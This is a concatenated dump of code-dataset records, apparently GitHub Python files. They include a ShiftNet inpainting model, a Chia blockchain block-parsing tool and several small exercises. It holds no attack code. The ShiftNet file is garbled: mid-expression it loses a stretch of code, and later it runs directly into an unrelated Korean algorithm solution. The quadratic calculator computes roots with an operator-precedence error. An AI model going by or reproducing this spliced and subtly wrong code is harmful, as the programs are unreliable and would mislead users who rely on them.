'fileRef' in file:\n id = file.fileRef\n file = self.obj(id)\n elif 'productRef' in file:\n id = file.productRef\n file = self.obj(id)\n else:\n yield f\"(null) {id}\"\n continue\n if file.isa == 'PBXVariantGroup':\n variant_path = self._relative_path(id)\n for child_id in file.children:\n yield self._relative_path(child_id, variant_path)\n elif file.isa == 'XCSwiftPackageProductDependency':\n yield f\"{file.productName} (Swift package)\"\n else:\n yield self._relative_path(id)\n\n def _relative_path(self, id, variant_path=None):\n if id in self._group_paths:\n return self._group_paths[id]\n\n obj = self.obj(id)\n if obj is None:\n return f\"(null) {id}\"\n\n if obj.isa not in ['PBXFileReference', 'PBXGroup', 'XCVersionGroup', 'PBXVariantGroup']:\n raise Exception(f\"Unknown object {obj.isa}\")\n\n if obj.sourceTree in KNOWN_ROOTS:\n parent_path = f\"$({obj.sourceTree})\"\n elif obj.sourceTree == '':\n if id in self._group_parents:\n parent_path = self._relative_path(self._group_parents[id])\n elif variant_path is not None:\n parent_path = variant_path\n elif obj.get_parent() == self._project.objects:\n parent_path = ''\n else:\n raise Exception(f\"Unknown parent for {id}\")\n else:\n raise Exception(f\"Unknown source {obj.sourceTree}\")\n\n if 'path' in obj:\n path = os.path.join(parent_path, obj.path)\n else:\n path = parent_path\n path = os.path.normpath(path)\n\n if 'PBXGroup' == obj.isa:\n self._group_paths[id] = path\n\n return path\n","repo_name":"sixten/compare-targets","sub_path":"TargetInfo.py","file_name":"TargetInfo.py","file_ext":"py","file_size_in_byte":6275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21487366683","text":"import os\nimport time\nfrom collections import defaultdict\nimport numpy as np\nimport torch\nfrom torch.nn import functional as F\nfrom torchvision.transforms.functional import rgb_to_grayscale\nfrom util import util\nfrom util.utils_howard import tensor2img, mkdir, enhance_img, plot_img_diff_hist\nfrom models import networks\nfrom models.shift_net.base_model import BaseModel\nfrom piqa import SSIM\nimport math\nimport cv2\n\nclass ShiftNetModel(BaseModel):\n def name(self):\n return 'ShiftNetModel'\n\n def initialize(self, opt):\n BaseModel.initialize(self, opt)\n self.opt = opt\n self.isTrain = opt.isTrain\n \n # specify the training losses you want to print out. The program will call base_model.get_current_losses\n if self.opt.input_nc == 3:\n self.loss_names = ['G_GAN', 'G_L1', 'D', 'style', 'content', 'tv', 'ssim']\n else:\n self.loss_names = ['G_GAN', 'G_L1', 'D']\n\n # specify the models you want to save to the disk. The program will call base_model.save_networks and base_model.load_networks\n if self.isTrain:\n self.model_names = ['G', 'D']\n else: # during test time, only load Gs, if need d_score, add Ds\n self.model_names = ['G']\n\n # batchsize should be 1 for mask_global,初始化 mask\n self.mask_global = torch.zeros((self.opt.batchSize, 1, opt.loadSize, opt.loadSize), dtype=torch.bool)\n self.mask_global.zero_() # 填滿 0\n \n # 初始化預設 center\n self.mask_global[:, :, int(self.opt.loadSize/4): int(self.opt.loadSize/2) + int(self.opt.loadSize/4),\\\n int(self.opt.loadSize/4): int(self.opt.loadSize/2) + int(self.opt.loadSize/4)] = 1 # (white)\n\n self.mask_global = self.mask_global.to(self.device)\n\n # load/define networks\n # self.ng_innerCos_list is the guidance loss list in netG inner layers.\n # self.ng_shift_list is the mask list constructing shift operation.\n # If add_mask2input=True, It will add the mask as a fourth dimension over input space\n if opt.add_mask2input:\n input_nc = opt.input_nc + 1\n else:\n input_nc = opt.input_nc\n\n self.netG, self.ng_innerCos_list, self.ng_shift_list = networks.define_G(input_nc, opt.output_nc, opt.ngf,\n opt.which_model_netG, opt, self.mask_global, opt.norm, opt.use_spectral_norm_G, opt.init_type, self.gpu_ids, opt.init_gain)\n \n use_sigmoid = False\n if opt.gan_type == 'vanilla': use_sigmoid = True # only vanilla GAN using BCECriterion\n \n self.netD = networks.define_D(opt.input_nc, opt.ndf,\n opt.which_model_netD,\n opt.n_layers_D, opt.norm, use_sigmoid, opt.use_spectral_norm_D, opt.init_type, self.gpu_ids, opt.init_gain)\n\n # add style extractor\n if self.opt.input_nc == 3:\n self.vgg16_extractor = util.VGG16FeatureExtractor()\n if len(opt.gpu_ids) > 0:\n self.vgg16_extractor = self.vgg16_extractor.to(self.device)\n \n if self.isTrain:\n self.old_lr = opt.lr\n # define loss functions\n self.criterionGAN = networks.GANLoss(gan_type=opt.gan_type).to(self.device)\n self.criterionL1 = torch.nn.L1Loss()\n self.criterionL1_mask = networks.Discounted_L1(opt).to(self.device) # make weights/buffers transfer to the correct device\n if self.opt.input_nc == 3:\n # VGG loss\n self.criterionL2_style_loss = torch.nn.MSELoss()\n self.criterionL2_content_loss = torch.nn.MSELoss()\n # TV loss\n self.tv_criterion = networks.TVLoss(self.opt.tv_weight)\n self.criterionSSIM = SSIM().to(self.device)\n\n # initialize optimizers\n self.schedulers = []\n self.optimizers = []\n if self.opt.gan_type == 'wgan_gp':\n opt.beta1 = 0\n self.optimizer_G = torch.optim.Adam(self.netG.parameters(),\n lr=opt.lr, betas=(opt.beta1, 0.9))\n self.optimizer_D = torch.optim.Adam(self.netD.parameters(),\n lr=opt.lr, betas=(opt.beta1, 0.9))\n else:\n self.optimizer_G = torch.optim.Adam(self.netG.parameters(),\n lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizer_D = torch.optim.Adam(self.netD.parameters(),\n lr=opt.lr, betas=(opt.beta1, 0.999))\n self.optimizers.append(self.optimizer_G)\n self.optimizers.append(self.optimizer_D)\n for optimizer in self.optimizers:\n self.schedulers.append(networks.get_scheduler(optimizer, opt))\n else:\n self.criterionGAN = networks.GANLoss(gan_type=opt.gan_type).to(self.device)\n self.criterionL1 = torch.nn.L1Loss()\n self.criterionL2 = torch.nn.MSELoss()\n self.criterionSSIM = SSIM().to(self.device)\n if self.opt.input_nc == 3:\n # VGG loss\n self.criterionL2_style_loss = torch.nn.MSELoss()\n self.criterionL2_content_loss = torch.nn.MSELoss()\n # TV loss\n self.tv_criterion = networks.TVLoss(self.opt.tv_weight)\n self.criterionL1_mask = networks.Discounted_L1(opt).to(self.device)\n \n if not self.isTrain or opt.continue_train:\n self.load_networks(opt.which_epoch)\n print('load model successful')\n self.print_networks(opt.verbose)\n\n assert (self.opt.resolution == 'resized') or (self.opt.resolution == 'origin')\n if self.opt.resolution == 'resized':\n self.RESOLUTION = (512,512)\n else:\n self.RESOLUTION = (1920,1080)\n\n if self.opt.isPadding:\n self.EDGE_PIXEL = 6\n self.PADDING_PIXEL = 14\n self.IMGH = self.RESOLUTION[1]-(2*self.EDGE_PIXEL)+(2*self.PADDING_PIXEL)\n self.IMGW = self.RESOLUTION[0]-(2*self.EDGE_PIXEL)+(2*self.PADDING_PIXEL)\n else:\n self.IMGH = self.RESOLUTION[1]\n self.IMGW = self.RESOLUTION[0]\n \n self.num_w_crop = math.ceil((self.IMGW-self.opt.loadSize)/self.opt.crop_stride) + 1\n self.num_h_crop = math.ceil((self.IMGH-self.opt.loadSize)/self.opt.crop_stride) + 1\n \n def set_input(self, input):\n self.image_paths = input['A_paths']\n \n real_A = input['A'].to(self.device)\n real_B = input['B'].to(self.device)\n \n # directly load mask offline\n # 使用 offline mask 才會有值,否則全為 0\n # torch.byte()将该tensor投射为byte类型\n self.mask_global = input['M'].to(self.device).byte() \n # narrow(dim, index, size) : 表示取出tensor中第dim维上索引从index开始到index+size-1的所有元素存放在data中\n # torch.bool()将该tensor投射为bool类型\n self.mask_global = self.mask_global.narrow(1,0,1).bool() # 取 dim=1 (channel) 的 [0]\n # print(self.mask_global.shape)\n # raise\n\n # create mask online (center) \n self.mask_global.zero_()\n self.mask_global[:, :, int(self.opt.loadSize/4): int(self.opt.loadSize/2) + int(self.opt.loadSize/4),\\\n int(self.opt.loadSize/4): int(self.opt.loadSize/2) + int(self.opt.loadSize/4)] = 1\n self.rand_t, self.rand_l = int(self.opt.loadSize/4), int(self.opt.loadSize/4)\n # print(self.mask_global[0][torch.where(self.mask_global[0]==1)].size())\n\n self.set_latent_mask(self.mask_global)\n\n # masked_fill_(mask, value),real_A 大小會跟 mask_global 一樣,將兩個疊起來,real_A 會將 mask_global 為 1 的位置取代為 0.(value)\n if self.opt.input_nc == 3:\n real_A.narrow(1,0,1).masked_fill_(self.mask_global, 0.) # R channel # gray ?\n real_A.narrow(1,1,1).masked_fill_(self.mask_global, 0.) # G channel\n real_A.narrow(1,2,1).masked_fill_(self.mask_global, 0.) # B channel\n else:\n real_A.narrow(1,0,1).masked_fill_(self.mask_global, 0.) # gray channel\n\n if self.opt.add_mask2input:\n # # ***重要***\n # make it 4 dimensions.\n # Mention: the extra dim, the masked part is filled with 0, non-mask part is filled with 1. 但為啥會變 127 ???\n # ~(波浪符號),是反(Not)運算,會將 True 改成 False,False 改成 True, 挖空的部分原本是 1 -> 0\n real_A = torch.cat((real_A, (~self.mask_global).expand(real_A.size(0), 1, real_A.size(2), real_A.size(3)).type_as(real_A)), dim=1) \n # expend 1,1,256,256\n # cat 在 第一維度 (channel) + mask = [(1,4,256,256) if RGB, (1,2,256,256) if gray]\n # type_as(real_A) 會從 bool -> float\n\n # 建立好 input real_A & real_B\n self.real_A = real_A\n self.real_B = real_B\n \n def set_latent_mask(self, mask_global):\n for ng_shift in self.ng_shift_list: # ITERATE OVER THE LIST OF ng_shift_list\n ng_shift.set_mask(mask_global)\n for ng_innerCos in self.ng_innerCos_list: # ITERATE OVER THE LIST OF ng_innerCos_list:\n ng_innerCos.set_mask(mask_global)\n\n def set_gt_latent(self):\n # 是否 skip guidance loss,預設 False\n if not self.opt.skip:\n if self.opt.add_mask2input:\n # make it 4 dimensions.\n # Mention: the extra dim, the masked part is filled with 0, non-mask part is filled with 1.\n real_B = torch.cat([self.real_B, (~self.mask_global).expand(self.real_B.size(0), 1, self.real_B.size(2), self.real_B.size(3)).type_as(self.real_B)], dim=1)\n else:\n real_B = self.real_B\n\n self.netG(real_B) # input ground truth\n\n def forward(self):\n self.set_gt_latent()\n start_time = time.time()\n self.fake_B = self.netG(self.real_A) # real_A 當 input 進去做 inpaint\n return time.time() - start_time\n\n '''\n for visualize rec difference or export patch\n '''\n def compute_diff(self, real_B, fake_B):\n if self.opt.measure_mode == 'MAE':\n l1 = torch.nn.L1Loss(reduction='none')\n return l1(real_B, fake_B)\n\n elif self.opt.measure_mode == 'MSE':\n l2 = torch.nn.MSELoss(reduction='none')\n return l2(real_B, fake_B)\n\n elif self.opt.measure_mode == 'SSIM':\n crop_scores = []\n for i in range(0,real_B.shape[0]):\n crop_scores.append(self.criterionSSIM(torch.unsqueeze(real_B[i], 0), torch.unsqueeze(fake_B[i], 0)))\n crop_scores = torch.stack(crop_scores)\n print(crop_scores.shape)\n raise\n return crop_scores\n \n\n elif self.opt.measure_mode == 'Feat':\n self.netD.eval()\n with torch.no_grad():\n pred_fake = self.netD(fake_B)\n pred_real = self.netD(real_B)\n l2 = torch.nn.MSELoss(reduction='none')\n return l2(pred_real, pred_fake)\n\n elif self.opt.measure_mode == 'Style':\n score = 0.0\n vgg_ft_fakeB = self.vgg16_extractor(torch.unsqueeze(fake_B,0))\n vgg_ft_realB = self.vgg16_extractor(torch.unsqueeze(real_B,0))\n for j in range(3):\n score += self.criterionL2_style_loss(util.gram_matrix(vgg_ft_fakeB[j]), util.gram_matrix(vgg_ft_realB[j]))\n return score \n\n elif self.opt.measure_mode == 'Content':\n score = 0.0\n vgg_ft_fakeB = self.vgg16_extractor(torch.unsqueeze(fake_B,0))\n vgg_ft_realB = self.vgg16_extractor(torch.unsqueeze(real_B,0))\n for j in range(3):\n score += self.criterionL2(vgg_ft_realB[j], vgg_ft_fakeB[j])\n return score \n \n else:\n raise ValueError(\"Please choose one measure mode!\")\n \n def visualize_diff(self, mode=None, fn=None):\n model_pred_t, combine_t, denoise_t, export_t = 0,0,0,0\n\n with torch.no_grad():\n model_pred_t = self.forward()\n print(f\"model inpainting time cost: {model_pred_t}\")\n\n fake_B = self.fake_B.detach() # Inpaint\n real_B = self.real_B # Original\n \n diff_B = self.compute_diff(real_B, fake_B) \n \n # plot_img_diff_hist(gray_diff_B.detach().cpu().numpy().flatten(), os.path.join(self.opt.results_dir, f'diff_hist/{fn}'), self.opt.measure_mode, False)\n\n patches, combine_t, denoise_t, export_t = self.combine_patches(fn, diff_B, self.opt.results_dir, self.opt.overlap_strategy)\n\n # self.export_inpaint_imgs(real_B, os.path.join(self.opt.results_dir, f'ori_diff_patches/{fn}'), 0) # 0 true, 1 fake\n # self.export_inpaint_imgs(fake_B, os.path.join(self.opt.results_dir, f'ori_diff_patches/{fn}'), 1) # 0 true, 1 fake\n # self.export_inpaint_imgs(patches, os.path.join(self.opt.results_dir, f'ori_diff_patches/{fn}'), 2) # 0 true, 1 fake\n\n return (model_pred_t, combine_t, denoise_t, export_t)\n \n def get_diff_res(self):\n with torch.no_grad():\n model_pred_t = self.forward()\n print(f\"model inpainting time cost: {model_pred_t}\")\n\n fake_B = self.fake_B.detach() # Inpaint\n real_B = self.real_B # Original\n \n patches = self.compute_diff(real_B, fake_B) \n \n patches_combined = torch.zeros((3, self.IMGH, self.IMGW), device=self.device)\n patches_count = torch.zeros((3, self.IMGH, self.IMGW), device=self.device)\n patches_reshape = patches.view(self.num_h_crop,self.num_w_crop,3,self.opt.loadSize,self.opt.loadSize)\n ps = self.opt.loadSize # crop patch size\n sd = self.opt.crop_stride # crop stride\n idy = 0\n for idy in range(0, self.num_h_crop):\n crop_y = idy*sd\n if (idy*sd+ps) >= self.IMGH:\n crop_y = self.IMGH-ps\n for idx in range(0, self.num_w_crop): \n crop_x = idx*sd\n if (idx*sd+ps) >= self.IMGW:\n crop_x = self.IMGW-ps \n patches_combined[:, crop_y:crop_y+ps, crop_x:crop_x+ps] += patches_reshape[idy][idx]\n patches_count[:, crop_y:crop_y+ps, crop_x:crop_x+ps] += 1.0\n\n patches_combined = patches_combined / patches_count\n \n # RGB to Gray\n patches_combined = rgb_to_grayscale(patches_combined)\n patches_combined = patches_combined[0]\n \n if self.opt.isPadding:\n # crop flip part\n patches_combined = patches_combined[self.PADDING_PIXEL:-self.PADDING_PIXEL, self.PADDING_PIXEL:-self.PADDING_PIXEL]\n pad_width = ((self.EDGE_PIXEL, self.EDGE_PIXEL), (self.EDGE_PIXEL, self.EDGE_PIXEL)) # 上下左右各填充6个元素\n patches_combined = np.pad(patches_combined, pad_width, mode='constant', constant_values=0)\n \n return patches_combined\n \n def combine_patches(self, fn, patches, save_dir, overlap_strategy):\n \n if overlap_strategy == 'union':\n \n save_dir = os.path.join(save_dir, 'union')\n\n # combine patches\n start_time = time.time()\n patches = rgb_to_grayscale(patches) # RGB to Gray\n threshold = self.opt.binary_threshold # thresholding\n patches[patches>=threshold] = 1\n patches[patches= self.IMGH:\n y = self.IMGH-self.opt.loadSize\n y_flag = True\n idx = 0\n x_flag = False\n for x in range(0, self.IMGW, sd):\n # print(f\"x {x}\")\n if x_flag: break\n if (x + ps) > self.IMGW:\n x = self.IMGW-self.opt.loadSize\n x_flag = True\n # 判斷是否 最上 y=0 & 最左=0 & 最右x=14\n if idy == 0: # 只需考慮左右重疊\n if idx == 0: # 最左邊直接先放\n patches_combined[:, y:y+ps, x:x+ps] = patches_reshape[idy][idx]\n else: \n # 左半聯集 \n # 先相加,value only 1, -1 結果只會有 2, -2, 0\n patches_combined[:, y:y+ps, x:x+(ps-sd)] = \\\n patches_combined[:, y:y+ps, x:x+(ps-sd)] + patches_reshape[idy][idx][:, :, :(ps-sd)] \n # 0, 2 = 1 (or==True), -2 = -1 (or==False)\n # print(patches_combined[:, y:y+ps, x:x+sd].shape)\n # print(patches_combined[:, y:y+ps, x:x+sd])\n # print(patches_combined[:, y:y+ps, x:x+sd].unique())\n patches_combined[:, y:y+ps, x:x+(ps-sd)][patches_combined[:, y:y+ps, x:x+(ps-sd)]!=-2] = 1 # or=True 0,2\n patches_combined[:, y:y+ps, x:x+(ps-sd)][patches_combined[:, y:y+ps, x:x+(ps-sd)]==-2] = -1 # or=False -2\n # print(patches_combined[:, y:y+ps, x:x+sd].shape)\n # print(patches_combined[:, y:y+ps, x:x+sd])\n # print(patches_combined[:, y:y+ps, x:x+sd].unique())\n # 右半,直接放\n patches_combined[:, y:y+ps, x+(ps-sd):x+ps] = \\\n patches_reshape[idy][idx][:, :, (ps-sd):ps] \n else: # 還需考慮上下重疊\n if idx == 0: \n # 上方聯集\n patches_combined[:, y:y+(ps-sd), x:x+ps] = \\\n patches_combined[:, y:y+(ps-sd), x:x+ps] + patches_reshape[idy][idx][:, :(ps-sd), :] \n patches_combined[:, y:y+(ps-sd), x:x+ps][patches_combined[:, y:y+(ps-sd), x:x+ps]!=-2] = 1 # or==True 0,2\n patches_combined[:, y:y+(ps-sd), x:x+ps][patches_combined[:, y:y+(ps-sd), x:x+ps]==-2] = -1 # or=False -2\n # 下方,直接放\n patches_combined[:, y+(ps-sd):y+ps, x:x+ps] = \\\n patches_reshape[idy][idx][:, (ps-sd):ps, :]\n else:\n # 上方聯集\n patches_combined[:, y:y+(ps-sd), x:x+ps] = \\\n patches_combined[:, y:y+(ps-sd), x:x+ps] + patches_reshape[idy][idx][:, :(ps-sd), :] \n patches_combined[:, y:y+(ps-sd), x:x+ps][patches_combined[:, y:y+(ps-sd), x:x+ps]!=-2] = 1 # or==True 0,2\n patches_combined[:, y:y+(ps-sd), x:x+ps][patches_combined[:, y:y+(ps-sd), x:x+ps]==-2] = -1 # or=False -2\n # 下左聯集\n patches_combined[:, y+(ps-sd):y+ps, x:x+(ps-sd)] = \\\n patches_combined[:, y+(ps-sd):y+ps, x:x+(ps-sd)] + patches_reshape[idy][idx][:, (ps-sd):ps, :(ps-sd)] \n patches_combined[:, y+(ps-sd):y+ps, x:x+(ps-sd)][patches_combined[:, y+(ps-sd):y+ps, x:x+(ps-sd)]!=-2] = 1 # or==True 0,2\n patches_combined[:, y+(ps-sd):y+ps, x:x+(ps-sd)][patches_combined[:, y+(ps-sd):y+ps, x:x+(ps-sd)]==-2] = -1 # or=False -2\n # 下右半直接放\n patches_combined[:, y+(ps-sd):y+ps, x+(ps-sd):x+ps] = \\\n patches_reshape[idy][idx][:, (ps-sd):ps, (ps-sd):ps] \n idx+=1\n idy+=1\n combine_t = time.time() - start_time\n print(f\"combine time cost: {combine_t}\")\n\n # denoise patches\n denoise_t=0\n start_time = time.time()\n patches_combined = self.remove_small_areas_opencv(patches_combined)\n denoise_t = time.time() - start_time\n print(f\"denoise time cost: {denoise_t}\")\n \n if self.opt.isPadding:\n # crop flip part\n patches_combined = patches_combined[self.PADDING_PIXEL:-self.PADDING_PIXEL, self.PADDING_PIXEL:-self.PADDING_PIXEL]\n pad_width = ((self.EDGE_PIXEL, self.EDGE_PIXEL), (self.EDGE_PIXEL, self.EDGE_PIXEL)) # 上下左右各填充6个元素\n patches_combined = np.pad(patches_combined, pad_width, mode='constant', constant_values=0)\n \n start_time = time.time()\n self.export_combined_diff_img_opencv(patches_combined, fn, os.path.join(save_dir, f'{threshold:.4f}_diff_pos_area_{self.opt.min_area}/imgs'))\n export_t = time.time() - start_time\n print(f\"export time cost: {export_t}\")\n elif overlap_strategy == 'average':\n save_dir = os.path.join(save_dir, 'average')\n \n # combine patches\n start_time = time.time()\n top_k = self.opt.top_k # set diffence value top-k\n\n patches_combined = torch.zeros((3, self.IMGH, self.IMGW), device=self.device)\n patches_count = torch.zeros((3, self.IMGH, self.IMGW), device=self.device)\n patches_reshape = patches.view(self.num_h_crop,self.num_w_crop,3,self.opt.loadSize,self.opt.loadSize)\n ps = self.opt.loadSize # crop patch size\n sd = self.opt.crop_stride # crop stride\n idy = 0\n for idy in range(0, self.num_h_crop):\n crop_y = idy*sd\n if (idy*sd+ps) >= self.IMGH:\n crop_y = self.IMGH-ps\n for idx in range(0, self.num_w_crop): \n crop_x = idx*sd\n if (idx*sd+ps) >= self.IMGW:\n crop_x = self.IMGW-ps \n patches_combined[:, crop_y:crop_y+ps, crop_x:crop_x+ps] += patches_reshape[idy][idx]\n patches_count[:, crop_y:crop_y+ps, crop_x:crop_x+ps] += 1.0\n\n patches_combined = patches_combined / patches_count\n \n # RGB to Gray\n patches_combined = rgb_to_grayscale(patches_combined)\n\n # filter top five percent pixel value\n num_pixels = patches_combined.numel()\n num_top_pixels = int(num_pixels * top_k)\n filter, _ = patches_combined.view(-1).kthvalue(num_pixels - num_top_pixels)\n print(f\"Theshold: {filter}\")\n patches_combined[patches_combined>=filter] = 1\n patches_combined[patches_combined 순서 뒤집기\n # D -> 첫 번째 수 버리기 if empty() -> error\n T = int(input())\n for _ in range(T):\n solve()\n","repo_name":"Carrotww/Carrot_Algorithm","sub_path":"2023/23_08/2023_08_28_백준_AC.py","file_name":"2023_08_28_백준_AC.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8449041522","text":"import array as arr\nn = int(input(\"Enter size of the array : \"))\na = arr.array('i',[])\nprint(\"Enter array elements : \")\nfor i in range(n):\n\tr=int(input())\n\ta.append(r)\na[0],a[-1]=a[-1],a[0]\nprint(\"After swapping the array elements : \")\nfor i in a:\n\tprint(i,end=' ')\n\"\"\"\nWrite remaining logic of the code.\nUse array a for input and printing results\n\n\"\"\"\n","repo_name":"warriorwizard/CodeTantra-python-placement","sub_path":"L77/Coding Exercises Using Arrays/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"15580551557","text":"#!/usr/bin/env python\n\n\"\"\"\nrun_block: Convert an encoded FullBlock from the Chia blockchain into a list of transactions\n\nAs input, takes a file containing a [FullBlock](../chia/types/full_block.py) in json format\n\n```\ncurl --insecure --cert $config_root/config/ssl/full_node/private_full_node.crt \\\n --key $config_root/config/ssl/full_node/private_full_node.key \\\n -d '{ \"header_hash\": \"'$hash'\" }' -H \"Content-Type: application/json\" \\\n -X POST https://localhost:$port/get_block\n\n$ca_root is the directory containing your current Chia config files\n$hash is the header_hash of the [BlockRecord](../chia/consensus/block_record.py)\n$port is the Full Node RPC API port\n```\n\nThe `transactions_generator` and `transactions_generator_ref_list` fields of a `FullBlock`\ncontain the information necessary to produce transaction record details.\n\n`transactions_generator` is CLVM bytecode\n`transactions_generator_ref_list` is a list of block heights as `uint32`\n\nWhen this CLVM code is run in the correct environment, it produces information that can\nthen be verified by the consensus rules, or used to view some aspects of transaction history.\n\nThe information for each spend is an \"NPC\" (Name, Puzzle, Condition):\n \"coin_name\": a unique 32 byte identifier\n \"conditions\": a list of condition expressions, as in [condition_opcodes.py](../chia/types/condition_opcodes.py)\n \"puzzle_hash\": the sha256 of the CLVM bytecode that controls spending this coin\n\nCondition Opcodes, such as AGG_SIG_ME, or CREATE_COIN are created by running the \"puzzle\", i.e. the CLVM bytecode\nassociated with the coin being spent. Condition Opcodes are verified by every client on the network for every spend,\nand in this way they control whether a spend is valid or not.\n\n\"\"\"\nimport json\nfrom dataclasses import dataclass\nfrom typing import List, TextIO, Tuple\n\nimport click\n\nfrom chia.consensus.constants import ConsensusConstants\nfrom chia.consensus.default_constants import DEFAULT_CONSTANTS\nfrom chia.full_node.mempool_check_conditions import get_name_puzzle_conditions, get_puzzle_and_solution_for_coin\nfrom chia.types.blockchain_format.program import SerializedProgram\nfrom chia.types.condition_opcodes import ConditionOpcode\nfrom chia.types.condition_with_args import ConditionWithArgs\nfrom chia.types.full_block import FullBlock\nfrom chia.types.generator_types import BlockGenerator, GeneratorArg\nfrom chia.types.name_puzzle_condition import NPC\nfrom chia.util.config import load_config\nfrom chia.util.default_root import DEFAULT_ROOT_PATH\nfrom chia.util.errors import ConsensusError, Err\nfrom chia.util.ints import uint32, uint64\nfrom chia.wallet.cat_wallet.cat_utils import match_cat_puzzle\n\n\n@dataclass\nclass CAT:\n tail_hash: str\n memo: str\n npc: NPC\n\n def cat_to_dict(self):\n return {\"tail_hash\": self.tail_hash, \"memo\": self.memo, \"npc\": npc_to_dict(self.npc)}\n\n\ndef condition_with_args_to_dict(condition_with_args: ConditionWithArgs):\n return {\n \"condition_opcode\": condition_with_args.opcode.name,\n \"arguments\": [arg.hex() for arg in condition_with_args.vars],\n }\n\n\ndef condition_list_to_dict(condition_list: Tuple[ConditionOpcode, List[ConditionWithArgs]]):\n assert all([condition_list[0] == cwa.opcode for cwa in condition_list[1]])\n return [condition_with_args_to_dict(cwa) for cwa in condition_list[1]]\n\n\ndef npc_to_dict(npc: NPC):\n return {\n \"coin_name\": npc.coin_name.hex(),\n \"conditions\": [{\"condition_type\": c[0].name, \"conditions\": condition_list_to_dict(c)} for c in npc.conditions],\n \"puzzle_hash\": npc.puzzle_hash.hex(),\n }\n\n\ndef run_generator(block_generator: BlockGenerator, constants: ConsensusConstants, max_cost: int) -> List[CAT]:\n npc_result = get_name_puzzle_conditions(\n block_generator,\n max_cost,\n cost_per_byte=constants.COST_PER_BYTE,\n mempool_mode=False,\n )\n if npc_result.error is not None:\n raise ConsensusError(Err(npc_result.error))\n\n cat_list: List[CAT] = []\n for npc in npc_result.npc_list:\n _, puzzle, solution = get_puzzle_and_solution_for_coin(\n block_generator, coin_name=npc.coin_name, max_cost=max_cost\n )\n matched, curried_args = match_cat_puzzle(puzzle)\n\n if matched:\n _, tail_hash, _ = curried_args\n memo = \"\"\n\n # do somethign like this to get the memo out\n result = puzzle.run(solution)\n for condition in result.as_python():\n if condition[0] == ConditionOpcode.CREATE_COIN and len(condition) >= 4:\n # If only 3 elements (opcode + 2 args), there is no memo, this is ph, amount\n if type(condition[3]) != list:\n # If it's not a list, it's not the correct format\n continue\n\n # special retirement address\n if condition[3][0].hex() == \"0000000000000000000000000000000000000000000000000000000000000000\":\n if len(condition[3]) >= 2:\n try:\n memo = condition[3][1].decode(\"utf-8\", errors=\"strict\")\n except UnicodeError:\n pass # ignore this error which should leave memo as empty string\n\n # technically there could be more such create_coin ops in the list but our wallet does not\n # so leaving it for the future\n break\n\n cat_list.append(CAT(tail_hash=bytes(tail_hash).hex()[2:], memo=memo, npc=npc))\n\n return cat_list\n\n\ndef ref_list_to_args(ref_list: List[uint32]):\n args = []\n for height in ref_list:\n with open(f\"{height}.json\", \"r\") as f:\n program_str = json.load(f)[\"block\"][\"transactions_generator\"]\n arg = GeneratorArg(height, SerializedProgram.fromhex(program_str))\n args.append(arg)\n return args\n\n\ndef run_full_block(block: FullBlock, constants: ConsensusConstants) -> List[CAT]:\n generator_args = ref_list_to_args(block.transactions_generator_ref_list)\n if block.transactions_generator is None or block.transactions_info is None:\n raise RuntimeError(\"transactions_generator of FullBlock is null\")\n block_generator = BlockGenerator(block.transactions_generator, generator_args)\n return run_generator(block_generator, constants, min(constants.MAX_BLOCK_COST_CLVM, block.transactions_info.cost))\n\n\ndef run_generator_with_args(\n generator_program_hex: str, generator_args: List[GeneratorArg], constants: ConsensusConstants, cost: uint64\n) -> List[CAT]:\n if not generator_program_hex:\n return []\n generator_program = SerializedProgram.fromhex(generator_program_hex)\n block_generator = BlockGenerator(generator_program, generator_args)\n return run_generator(block_generator, constants, min(constants.MAX_BLOCK_COST_CLVM, cost))\n\n\n@click.command()\n@click.argument(\"file\", type=click.File(\"rb\"))\ndef cmd_run_json_block_file(file):\n \"\"\"`file` is a file containing a FullBlock in JSON format\"\"\"\n return run_json_block_file(file)\n\n\ndef run_json_block(full_block, constants: ConsensusConstants) -> List[CAT]:\n ref_list = full_block[\"block\"][\"transactions_generator_ref_list\"]\n tx_info: dict = full_block[\"block\"][\"transactions_info\"]\n generator_program_hex: str = full_block[\"block\"][\"transactions_generator\"]\n cat_list: List[CAT] = []\n if tx_info and generator_program_hex:\n cost = tx_info[\"cost\"]\n args = ref_list_to_args(ref_list)\n cat_list = run_generator_with_args(generator_program_hex, args, constants, cost)\n\n return cat_list\n\n\ndef run_json_block_file(file: TextIO):\n full_block = json.load(file)\n # pull in current constants from config.yaml\n _, constants = get_config_and_constants()\n\n cat_list = run_json_block(full_block, constants)\n\n cat_list_json = json.dumps([cat.cat_to_dict() for cat in cat_list])\n print(cat_list_json)\n\n\ndef get_config_and_constants():\n config = load_config(DEFAULT_ROOT_PATH, \"config.yaml\")\n network = config[\"selected_network\"]\n overrides = config[\"network_overrides\"][\"constants\"][network]\n updated_constants = DEFAULT_CONSTANTS.replace_str_to_bytes(**overrides)\n return config, updated_constants\n\n\nif __name__ == \"__main__\":\n cmd_run_json_block_file() # pylint: disable=no-value-for-parameter\n","repo_name":"ikowin/chia-blockchain","sub_path":"tools/run_block.py","file_name":"run_block.py","file_ext":"py","file_size_in_byte":8420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"16112620185","text":"# coding: utf-8\nimport math\n\nprint('-=-' * 15)\nprint('Calculadora Raiz Quadrada')\nprint('-=-' * 15)\n\nprint('Modelo: ax² + bx + c = 0 \\n\\n--> Seguindo o modelo, Informe: ')\n\na = float(input('\\nValor de a: '))\nb = float(input('Valor de b: '))\nc = float(input('Valor de c: '))\n\ndelta = b**2 - (4*a*c)\n\nif delta < 0:\n\tprint('esta equação não possui raízes reais')\nelse:\n raiz1 = (-b + math.sqrt(delta)) / 2*a\n raiz2 = (-b - math.sqrt(delta)) / 2*a\n if raiz1 == raiz2:\n print('a raiz desta equação é', raiz1)\n elif raiz1 == 0 and raiz2 != 0:\n print('a raiz desta equação é', raiz2)\n elif raiz1 != 0 and raiz2 ==0:\n print('a raiz desta equação é', raiz1)\n elif raiz1 != 0 and raiz2 != 0:\n if raiz1 > raiz2:\n print('as raízes da equação são', raiz2, 'e', raiz1)\n else:\n print('as raízes da equação são', raiz1, 'e', 